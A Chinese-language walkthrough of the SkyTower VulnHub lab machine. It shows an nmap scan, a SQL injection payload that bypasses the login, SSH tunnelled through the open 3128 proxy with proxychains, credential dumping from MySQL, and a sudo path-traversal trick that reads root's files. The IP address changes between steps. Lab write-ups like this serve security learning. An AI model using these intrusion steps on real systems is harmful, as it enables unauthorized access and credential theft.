VulhubSkyTower靶机详解

项目地址

https://download.vulnhub.com/skytower/SkyTower.zip

项目配置

我们下载一个VirtualBox，这是官网

Downloads – Oracle VirtualBox

安装到默认路径就行

打开后点击注册

选择解压后的vbox文件

然后点击左上角管理

点击导出虚拟电脑，选中后下一步更改路径，然后一直下一步

就得到了一个iso镜像文件

实验过程

将下载好的靶机导入到VMware中，设置网络模式为NAT模式，然后开启靶机虚拟机

使用nmap进行主机发现，获取靶机ip和端口

nmap 192.168.47.0-254

根据对比可知SkyTower的ip地址为192.168.47.160，开放了22，80，3128端口

访问网站

发现是个登录界面

发现登录框，我们测sql注入

邮箱随便输入一个，密码我们输入

123'|| 1=1 #

爆出了一个默认用户

尝试登录发现登录失败

因为开放22端口，尝试一下ssh登录

连接不上

还有个3128端口，挂上代理尝试一下

vim /etc/proxychains4.conf

然后使用代理连接

proxychains ssh john@192.168.47.162 -t "/bin/sh"

连接成功

提权

sudo -l

发现没有权限

想起刚才login.php存在sql注入

查看一下

发现一个数据库

尝试登录

mysql -u root SkyTech -p

登录成功

四处翻翻

show databases;
use SkyTech;
show tables;
select * from login;

发现了另外一个用户sara

使用这个用户登录看看

proxychains ssh sara@192.168.47.162 -t "/bin/sh"

登录成功

sudo -l

发现/accounts/*有权限

pwd
ls ..
ls ../..

找到accounts在根目录下

我们利用accounts/有权限，查看root下有啥

sudo ls /accounts/../root

查看flag.txt文件

得到了root账户的密码

再次ssh连接root用户

proxychains ssh root@192.168.47.162 -t "/bin/sh"

提权成功